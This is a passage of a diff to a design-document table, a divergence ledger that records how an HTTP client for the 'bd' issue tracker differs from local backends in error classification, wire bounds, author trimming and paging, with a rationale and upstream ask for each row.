batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. A missing --parent target already retired out of this row: failCreateIssue's errors.As(&parentNotFound) arm answers it with a distinguishing 404 not_found that names the target, and the client maps that to issueops.ErrNotFound (see TestServedCreateRefusesAnAbsentParentAsNotFound) — the row now covers only dependency and waits-for targets | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-create-prefix | degrade | — | an unforced explicit id outside the workspace's configured prefix refuses as issueops.ErrValidation rather than as storage.ErrPrefixMismatch | the wire spells that refusal as a 400 invalid_argument with `param: "id"` and `reason: invalid_value` (internal/httpapi's failCreateIssue), which is the SAME pair a malformed or oversized `id` earns — so nothing on the wire tells the two apart, and reconstructing the typed sentinel from the pair would misclassify every other refusal of that member. The guard itself is untouched: the id is refused, nothing is created, and the detail names `force_id_prefix` as the bypass, which is the recovery a caller needs. What is lost is the errors.Is arm both local front doors use to decide whether to re-offer the create with --force. Upstream ask: a prefix_mismatch code, or a reason that distinguishes it, which retires this row | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-apply-snapshot | degrade | — | every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot | the WIRE result is lean by the document's own decision and the role's leaf says why: ApplyItemResult carries ids, `changed` and `revision` and no issue, because the Go contract carries the snapshot for its COMPLETION HOOKS — which hand a script the row they are telling it about — and hooks never fire on the http surface at all. A hundred hydrated issues with their labels and edges would be a response an order of magnitude larger than the request that produced it. What a caller loses is a read it can make: the ids ARE published, per item and through Keys, so the rows are one getIssue away and the plan's next step is composed from ids rather than from snapshots. It is a degradation rather than a refusal because nothing about the WRITE differs — every item landed exactly as asked — and refusing would make the whole operation unavailable over http to keep a member no consumer on this surface can use | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-apply-ref | degrade | — | an unresolvable metadata_refs key comes back as a *RefError naming the MEMBER rather than the key, and the reconstructed error replaces the server's problem envelope | the wire's 400 names the offending member in `param` — `items[3].create.metadata_refs` — and carries the item index, the item's key and `declared_later`, but not WHICH entry of the refs map failed: the role's RefError.Member is diagnostic prose (`metadata_ref `) rather than a vocabulary, so the server maps it onto the document's own member names instead of publishing it. The two ADDRESSING refs, target and source, are named exactly. The envelope is dropped because issueops.RefError has nowhere to put it: its Unwrap is hardcoded to ErrValidation and it carries no member for a cause, which is the role type's shape rather than a choice made here. The discriminator a caller ACTS on — an ordering mistake against a typo — survives whole, in both polarities. Upstream ask: a typed ref-key member on the problem document, which retires this row | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-comment-author | degrade | — | a comment's AUTHOR is subject to the server's own actor rule, which no local leg applies: it is stored TRIMMED where a local backend stores it verbatim, and one carrying a control character is refused (issueops.ErrValidation) where a local backend stores it | the operation validates `author` with the `actor` rules whole (internal/httpapi's validateNameMember: trim, refuse empty, refuse past 256 bytes or 255 characters, refuse any control rune) and passes the TRIMMED value on to the role, while issueops.ValidateAddCommentRequest checks only that the field is non-empty and stores what it was given. So the same request produces a different STORED VALUE on the two legs, and a value one leg stores the other refuses. IT IS THE SERVER'S RULE AND THE DOCUMENT PUBLISHES IT, which is why this is a ledger row rather than a bug on either side: the schema states the trim and the character rule in as many words, and the reason is the column — `author` is 255 characters wide and every renderer of the thread prints it, where an unfiltered C1 introducer is an escape-sequence payload. The refusal half is a NARROWING the wire makes on purpose. THE CLIENT DOES NOT ANTICIPATE EITHER HALF, and that is the decision this row records. Trimming here would make the client agree with the server about the stored value and disagree with the role's own contract — and it would silently rewrite a caller's request, which is the one thing this seam never does. Refusing the control rune here would be a second copy of a server rule that is free to move. So the value travels as the caller wrote it and the server's answer is reported unchanged, which keeps the divergence visible instead of laundering it. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS: a well-formed author is stored, and the difference cannot be misread as a wider or narrower answer — a comment lands on the thread the caller named either way. The refusal half is the SERVER's, not this client's refuse-not-drop, which is what KindRefuse classifies. What a caller loses is an author whose surrounding space survives, and the recovery is the one the role's own contract already implies: compose the author from a value you would be willing to see printed. Upstream ask: either the role trimming its own author on every leg, or the operation storing it verbatim — the rows agree the day the two rules become one | D8 row 19 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-release-notclaimed | degrade | — | a release of a row that holds NO CLAIM answers issueops.ErrNotReleasable rather than issueops.ErrNotClaimed; a status that will not accept a release answers ErrNotReleasable as it does everywhere | the role splits the two — ErrNotClaimed for a row nobody holds, ErrNotReleasable for a status the transition is not defined over — and the wire spells BOTH `not_releasable` under one code, with no member telling them apart. That is the server's deliberate choice (internal/httpapi's CodeNotReleasable) rather than an omission, and its detail names both conditions instead of guessing between them. So this client maps to the WIDER of the two, which is the only honest read: reconstructing ErrNotClaimed would assert a fact about the row that the wire never sent, and scraping the detail for it would bind a sentinel to prose. NOTHING ELSE ABOUT THE REFUSAL MOVES — nothing is written, the row and its version are untouched, and the conditional path is unaffected: a caller that named a holder gets ErrAssigneeMismatch on both sides, because that refusal has a code of its own. The caller who loses something is the one that told 'I already released this' from 'the row was never claimed', and the recovery is the one the server's own detail prescribes: READ THE ROW rather than retrying blind. Upstream ask: a code, or a member, that distinguishes the unheld row from the unreleasable status — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-release-notowner | degrade | — | an unforced, unconditional release by an actor that is NOT the holder answers issueops.ErrAlreadyClaimed — carrying *issueops.ClaimConflictError — rather than issueops.ErrNotOwner | the wire answers the ownership fence with `already_claimed`, which is the code updateIssue already gives the same situation (a live foreign owner refusing a write, with a force bypass and a name-the-holder bypass), and this client maps that code to the sentinel every other operation means by it. The two sentinels are distinct values in issueops and neither wraps the other, so the arm a caller writes differs. REPORTING IT AS ErrNotOwner WOULD BE THE WORSE TRADE, not merely a different one: the code is shared with the claim refusals, so a client that special-cased it for this operation would be reading the OPERATION to decide the sentinel rather than the code — and would then answer ErrNotOwner for a genuine already_claimed the day the server reuses the code here for anything else. WHAT SURVIVES IS EVERYTHING A CALLER ACTS ON: the refusal is typed, it names the row (the request supplied the id the wire leaves out), nothing is written, and BOTH bypasses answer exactly as the role says — force releases the foreign claim, and naming the holder in expected_assignee releases it too, because a match replaces the fence. The wire deliberately sends no `assignee` member here, so the holder is not named: absence means 're-read the row', never 'nobody holds it'. Upstream ask: a code, or a member, that separates the release's fence from a claim conflict — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-config-bounds | degrade | — | a setting VALUE past types.MaxTextBytes bytes, and a setting KEY past types.MaxFieldLen characters on the WRITE, are refused with issueops.ErrValidation naming the member; on a local leg the same request reaches the column and fails with the engine's own `too large for column` error, which is no sentinel at all | the bound belongs to the OPERATION rather than to the role: internal/httpapi's settingWriteKey and settingValue check both before the role is called, because a request the caller could have fixed should be a 400 naming the member rather than the 500 a column overflow would otherwise produce. workapi.ValidateSettingWrite — the rule every leg shares — applies no length bound at all, so below the wire the column is the only check there is. MEASURED, not inferred: a 65536-byte value answers `400 invalid_argument: \`value\` is 65536 bytes; storage holds at most 65535` over http and `Error 1105: string ... is too large for column 'value'` on the embedded leg, and a 306-character key splits the same way. Exactly 65535 bytes is accepted on both. THIS CLIENT RESTATES NEITHER BOUND, and that is the decision this row records. They are the SERVER's policy on a value whose shape the role accepted, one release away from moving, so a second copy here would either drift or refuse a request a newer server would take — the same argument L-comment-author makes about the author rule, and the same posture. What travels back is the operation's own 400, which the problem mapper turns into ErrValidation. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS and because the divergence runs in the CALLER'S FAVOR: over http an oversized write is a typed, member-named refusal that wrote nothing, where a local leg hands back a driver error no caller can classify. What a caller loses is nothing; what a caller must not assume is that a value a local workspace stored will store here. THE TWO BOUNDS ARE NOT SYMMETRIC ACROSS THE VERBS, and the asymmetry is the operation's: DELETE checks only that the key names something, so removing a 306-character key succeeds over http exactly as it does locally. Upstream ask: the length rules moving onto the shared validator, which retires this row by making the two legs one | D8 row 11, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-update-fieldlen | degrade | — | an updateIssue patch member past types.MaxFieldLen characters — a label on any of the three label members, `title`, `external_ref` — is refused with issueops.ErrValidation naming the member; on a local leg the same request answers types.ErrFieldTooLong | the bound is applied TWICE and identically: internal/httpapi/update.go checks types.CheckFieldLen at the edge before the role is called, and internal/storage/issueops applies the same function below it. So this is a classification divergence and not a policy one — a value one leg stores the other stores, and a value one leg refuses the other refuses. WHAT COARSENS IT is the spelling: the operation refuses with `invalid_argument` and reason `invalid_value` (internal/httpapi's refuse on the patch member), which is the SAME pair a malformed status, an unparseable timestamp or any other bad value on the same member earns. Nothing on the wire tells them apart, so reconstructing ErrFieldTooLong from the pair would misclassify every other refusal of that member — the argument L-create-prefix makes about the id, on the patch. MEASURED, not inferred: a 256-character label answers `400 invalid_argument: \`add_labels[0]\` is 256 characters; storage holds at most 255` over http and ErrFieldTooLong through the reference store's own Lifecycle role, and exactly 255 characters is accepted on both. THIS CLIENT RESTATES THE BOUND NOWHERE, and the reason differs from L-config-bounds': not that the rule is the server's to move, but that a second copy of a rule two layers already apply is a third place for it to drift. What travels back is the operation's own 400. IT IS A DEGRADE RATHER THAN A REFUSE because the path PROCEEDS and the outcome is identical on both legs — the request fails, the row is untouched, and no truncated value is stored — while the detail names the offending member and its length, which is the recovery a caller needs. What is lost is the errors.Is arm a caller writes to tell 'too long' from 'malformed'. Upstream ask: a `too_long` reason, or a code of its own, which retires this row | D8 row 16, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-events-paging | degrade | — | an UNCAPPED journal read (limit 0) is served as a loop of handler-sized requests rather than one, so its rows and its head no longer come from a single instant; a bounded read is one request and is unaffected | the role imposes no ceiling of its own — journalops.Journal says a limit of 0 means uncapped, because the caller that pages a hundred thousand records out to a file is as legitimate as the one polling for ten — and the OPERATION refuses `limit=0` by value, capping a page at 10000 (internal/httpapi's maxEventsLimit). That cap is the handler's promise to its clients rather than a narrowing of the role, and this client is on the other side of it. SO THE LOOP IS THE ONLY HONEST READING. Refusing an uncapped read would refuse something the role permits; capping one silently at 10000 would answer a partial page beside a head saying there is more, which is a consumer stalling on a gap nobody told it about. Both are worse than N transactions. WHAT SURVIVES IS WHAT A CONSUMER ACTS ON: rows stay contiguous and seq-ascending, because each page continues exactly where the last ended; the head is the LAST page's, so it is the freshest and can only be at or ahead of the last row served; and a truncation on any page is the whole read's failure, never a shorter answer — a loop that returned the prefix it had already gathered would answer a gap with a plausible-looking suffix, which is the one failure a replay feed must never ship. WHAT DOES NOT SURVIVE is atomicity across the whole answer: a mutation committing mid-loop appears in a later page of the SAME call rather than in the next one. A consumer cannot observe that as a gap or a duplicate — it reads as records it would have received on its next poll, arriving early — which is why this is a degrade rather than a refusal. IT IS A DEGRADE RATHER THAN A REFUSE for the ordinary reason too: the path proceeds, and the answer cannot be misread as narrower or wider than the caller asked for. Upstream ask: an unlimited spelling on the operation, or a cursor the page can hand back — either retires this row | D8 (Journal), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-dep-endpoint | degrade | — | a dependency add whose source or target names no issue refuses as ErrValidation over http, not as *DependencyEndpointNotFoundError wrapping ErrDependencySourceNotFound or ErrDependencyTargetNotFound | the wire spells that refusal as a 400 invalid_argument with reason `invalid_value` and the offending member in `param` (internal/httpapi/dependency_edit.go). Reason and code are the same ones a malformed id earns, so the two are indistinguishable without reading `detail` prose — which is exactly what the extension-member vocabulary exists to avoid. The refusal still FAILS the request and still writes nothing; only its classification is coarser. Upstream ask: a distinguishing code or reason for the endpoint-not-found refusal, which retires this row | D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-claim-prose | degrade | — | a claim refusal's MESSAGE does not carry the ClaimedBy/NotClaimableStatus fragments, so beads.ParseClaimConflict recovers nothing from it over http | the fragments exist so that parser can recover the conflicting assignee and status from PROSE. Over the wire both arrive as typed extension members and *ClaimConflictError is reconstructed whole, so a caller reading the FIELDS loses nothing. Recomposing the copy client-side would mean re-implementing which copy each refusal shape gets — an open issue held by someone else deliberately omits the assignee tail, an in-progress one carries it — which is a second implementation of the very rule the fragments were introduced to keep single | D8 row 3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-delete-notfound | degrade | — | issueops.Deleter.Delete over http refuses an absent id as issueops.ErrNotFound, not as *NotFoundError naming WHICH ids did not resolve | the role's error is a typo report and names every missing id; the wire deliberately does not repeat them (internal/httpapi's NotFound() carries a FIXED detail, so a 404 body cannot echo caller input back). The refusal still FAILS the request and still deletes NOTHING — not even the ids beside the typo — so the all-or-nothing promise is intact and only the classification is coarser. It is stated at the ROLE rather than at a command because `bd delete` is not reachable against an http workspace at all (see httpUnconsumedCapabilities); the embedder holding the role is the audience. Upstream ask: an ids extension member on the not_found problem, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-delete-dependents | degrade | — | the unforced dependents guard refuses as issueops.ErrValidation, not as *DependentsOutsideRequestError wrapping ErrDependentsOutsideRequest | the wire spells that refusal as a 400 invalid_argument with no `param` (internal/httpapi's failDeleteErr) — the fix is to change the REQUEST, by sending cascade or force — so the blocked id and its dependents cannot be reconstructed without parsing detail prose, which is what the extension-member vocabulary exists to avoid. The guard itself is untouched: the request fails and the graph is whole. Upstream ask: a dependents_outside_request code carrying issue_id and dependents, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-delete-bound | refuse | — | issueops.Deleter.Delete refuses a request naming more than 1000 ids, citing the wire bound; it is never split across requests | maxDeleteIDs = 1000 (internal/httpapi/delete.go). Splitting is the one path that silently breaks the request's one-transaction, one-history-entry contract — and it would ask the dependents guard about half a request at a time, so a pair the caller deliberately listed together would be refused as an outside dependent. Naive forwarding at least fails loudly. Stated at the ROLE: `bd delete` cannot reach an http workspace, so the embedder is the audience | D8 row 13, D9 L16 (the same argument, on the other bulk write) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-batchcreate-bound | refuse | — | `bd create --file` carrying more than 100 issues refuses, naming the wire bound; it is never split across requests | maxBatchCreateItems = 100 (internal/httpapi/batch_create.go). The request IS the transaction, so two requests are two transactions and two history entries where the role promises one — and a failure in the second leaves half a plan created, which is the outcome all-or-nothing exists to make impossible | D8 row 14, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-edgecount-bound | refuse | — | issueops.GraphCounter.CountEdges refuses a request naming more than 100 DISTINCT anchors, citing the wire bound; it is never chunked across requests | maxDependencyAnchors = 100 (internal/httpapi/edges.go), the same bound the stored-edge read on this collection carries — the role deliberately sets none of its own and says the bound belongs to the WIRE. Chunking is what a READ could get away with and this one cannot: CountEdges promises that an anchor's EXISTENCE and its edge count are read from one consistent view, so two requests would let an anchor be reported missing by a probe that raced a create the other chunk's count already saw — one answer contradicting itself, which is the exact failure AnchorEdgeCount.Missing exists to make impossible. Refusing at the bound fails loudly instead, and the caller splits the question knowing it asked twice. Upstream ask: a cursor or a higher bound on the anchor list, which retires this row | D9 L16 (the same argument, on a read), D8 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-cycles-tracks | refuse | `DetectCyclesRequest.IncludeTracks` | issueops.CycleDetector.DetectCycles refuses a request with IncludeTracks set, rather than silently answering the narrower (tracks-excluded) walk | listDependencyCycles (wire.OpListDependencyCycles) publishes no include_tracks parameter at all — there is no wire member to widen the walk onto, not merely one this client chose not to send. Honoring the request field anyway (by just not sending it, the way a dropped filter would) would answer the DEFAULT walk to a caller who explicitly asked for the wider one that also follows `tracks` edges: a narrower answer with no error, exactly the failure mode ErrUnsupported exists to make loud instead of silent (see its own doc). Upstream ask: an include_tracks query parameter on listDependencyCycles, which retires this row | D8 (refuse-not-drop), D9 L16 (the same argument, on a read) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-batchcreate-target | degrade | — | a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound | the wire answers a dangling edge target with a 400 invalid_argument naming `items` (internal/httpapi's failBatchCreate), and deliberately does not quote the role's own message, which arrives as a driver error naming tables and constraints. The refusal still fails the whole batch and creates nothing — the promise the row is about — and only the second sentinel is lost. Upstream ask: a distinguishing code for the absent-target refusal | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-batchcreate-inbatch | refuse | — | an edge onto an EARLIER ITEM OF THE SAME BATCH cannot be expressed at all over http | the capability needs the earlier item to have named an id for itself, and apigen.BatchCreateItem publishes no id member — an explicit id is refused with the rest of W-BatchCreateItem.Issue. So the target of an in-batch edge can only be a row the workspace already holds. It is a REFUSE row rather than a degrade because the request that asks for it fails: the client refuses the explicit id before the dial, and there is no second spelling that would land the edge silently. The wire's own `target_id` description names this case, so the gap is in the SCHEMA rather than in the handler — the upstream ask is an item id member, which retires this row | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L18 | degrade | — | DOWN-LEVEL ONLY: against a server that does not advertise issues.batchClose, a single-id `bd close` still composes onto closeIssue and records the SERVER's own close commit message rather than the batch's id-naming entry; the multi-id and --claim-next shapes refuse there | the composed leg is one closeIssue call, so the history entry it leaves is the one that operation writes for itself — the batch's entry names the ids it closed and this one cannot, because no batch ran. Where issues.batchClose IS advertised the whole request is one call and one server-side transaction, so this divergence does not arise at all; the down-level leg survives on purpose, because `bd close` worked against pre-batchClose servers before this port and refusing it now would be a regression dressed as progress. It is the same posture L14 takes toward issues.claimNext. It is a degrade rather than a refuse because the close LANDS and the answer is neither narrower nor wider than the caller asked for — only the record of it is the operation's rather than the batch's. Retirement is a fleet fact rather than an upstream ask: the row goes when no server this client may meet is older than issues.batchClose | D9 L18, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-create-notfound | degrade | — | a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target | the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. A missing --parent target stays on this row beside dependency and waits-for targets, not ahead of them: OpCreateIssue's problem-code table documents NO 404 for ANY edge target on purpose (internal/httpapi/problem.go) — there is no id in the path for parent_id to have missed any more than dependencies[i].target_id or waits_for.spawner_id has, so carving a parent-only not_found out of this row would contradict that design rather than follow it. A prior draft of this row and its pin (TestServedCreateRefusesAnAbsentParentAsNotFound) described that carve-out as already shipped; it never was, and the S3 review that found the drift retired the draft rather than the design | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-create-prefix | degrade | — | an unforced explicit id outside the workspace's configured prefix refuses as issueops.ErrValidation rather than as storage.ErrPrefixMismatch | the wire spells that refusal as a 400 invalid_argument with `param: "id"` and `reason: invalid_value` (internal/httpapi's failCreateIssue), which is the SAME pair a malformed or oversized `id` earns — so nothing on the wire tells the two apart, and reconstructing the typed sentinel from the pair would misclassify every other refusal of that member. The guard itself is untouched: the id is refused, nothing is created, and the detail names `force_id_prefix` as the bypass, which is the recovery a caller needs. What is lost is the errors.Is arm both local front doors use to decide whether to re-offer the create with --force. Upstream ask: a prefix_mismatch code, or a reason that distinguishes it, which retires this row | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-apply-snapshot | degrade | — | every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot | the WIRE result is lean by the document's own decision and the role's leaf says why: ApplyItemResult carries ids, `changed` and `revision` and no issue, because the Go contract carries the snapshot for its COMPLETION HOOKS — which hand a script the row they are telling it about — and hooks never fire on the http surface at all. A hundred hydrated issues with their labels and edges would be a response an order of magnitude larger than the request that produced it. What a caller loses is a read it can make: the ids ARE published, per item and through Keys, so the rows are one getIssue away and the plan's next step is composed from ids rather than from snapshots. It is a degradation rather than a refusal because nothing about the WRITE differs — every item landed exactly as asked — and refusing would make the whole operation unavailable over http to keep a member no consumer on this surface can use | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-apply-ref | degrade | — | an unresolvable metadata_refs key comes back as a *RefError naming the MEMBER rather than the key, and the reconstructed error replaces the server's problem envelope | the wire's 400 names the offending member in `param` — `items[3].create.metadata_refs` — and carries the item index, the item's key and `declared_later`, but not WHICH entry of the refs map failed: the role's RefError.Member is diagnostic prose (`metadata_ref `) rather than a vocabulary, so the server maps it onto the document's own member names instead of publishing it. The two ADDRESSING refs, target and source, are named exactly. The envelope is dropped because issueops.RefError has nowhere to put it: its Unwrap is hardcoded to ErrValidation and it carries no member for a cause, which is the role type's shape rather than a choice made here. The discriminator a caller ACTS on — an ordering mistake against a typo — survives whole, in both polarities. Upstream ask: a typed ref-key member on the problem document, which retires this row | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-comment-author | degrade | — | a comment's AUTHOR is subject to the server's own actor rule, which no local leg applies: it is stored TRIMMED where a local backend stores it verbatim, and one carrying a control character is refused (issueops.ErrValidation) where a local backend stores it | the operation validates `author` with the `actor` rules whole (internal/httpapi's validateNameMember: trim, refuse empty, refuse past 256 bytes or 255 characters, refuse any control rune) and passes the TRIMMED value on to the role, while issueops.ValidateAddCommentRequest checks only that the field is non-empty and stores what it was given. So the same request produces a different STORED VALUE on the two legs, and a value one leg stores the other refuses. IT IS THE SERVER'S RULE AND THE DOCUMENT PUBLISHES IT, which is why this is a ledger row rather than a bug on either side: the schema states the trim and the character rule in as many words, and the reason is the column — `author` is 255 characters wide and every renderer of the thread prints it, where an unfiltered C1 introducer is an escape-sequence payload. The refusal half is a NARROWING the wire makes on purpose. THE CLIENT DOES NOT ANTICIPATE EITHER HALF, and that is the decision this row records. Trimming here would make the client agree with the server about the stored value and disagree with the role's own contract — and it would silently rewrite a caller's request, which is the one thing this seam never does. Refusing the control rune here would be a second copy of a server rule that is free to move. So the value travels as the caller wrote it and the server's answer is reported unchanged, which keeps the divergence visible instead of laundering it. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS: a well-formed author is stored, and the difference cannot be misread as a wider or narrower answer — a comment lands on the thread the caller named either way. The refusal half is the SERVER's, not this client's refuse-not-drop, which is what KindRefuse classifies. What a caller loses is an author whose surrounding space survives, and the recovery is the one the role's own contract already implies: compose the author from a value you would be willing to see printed. Upstream ask: either the role trimming its own author on every leg, or the operation storing it verbatim — the rows agree the day the two rules become one | 